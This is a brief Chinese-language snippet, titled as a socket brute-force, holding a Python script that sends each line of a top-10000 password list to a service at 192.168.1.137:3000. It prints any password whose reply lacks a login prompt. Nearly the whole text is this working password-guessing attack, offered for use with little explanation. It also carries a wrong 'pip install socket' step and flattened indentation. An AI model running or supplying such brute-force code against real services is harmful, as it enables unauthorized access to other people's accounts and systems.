socket爆破


pip install socket
#导入socket包
import socket
import time


#定义变量host,port
host = '192.168.1.137'
port = 3000

#进行socket连接
obj = socket.socket()
obj.connect((host, port))
stime = time.time()
#打开pass字典进行迭代
with open("top10000.txt", encoding="utf-8") as f:
for i in f.readlines():
#捕获异常
try:
#发送数据 去除换行符\n
password = bytes(i.strip('\n'), encoding="utf-8")
obj.send(password)
time.sleep(0.02)
#接收返回数据进行打印
ret = str(obj.recv(1024), encoding="utf-8")
if "Please" not in ret.strip('\n') and "Login" not in ret.strip('\n'):
print(password)
print(ret)
print('--------------------------------------')
#错误打印
except Exception as e:
print(str(e))
etime = time.time()
deltatime = etime - stime
print(f'需要{deltatime}秒')
#关闭socket连接
obj.close()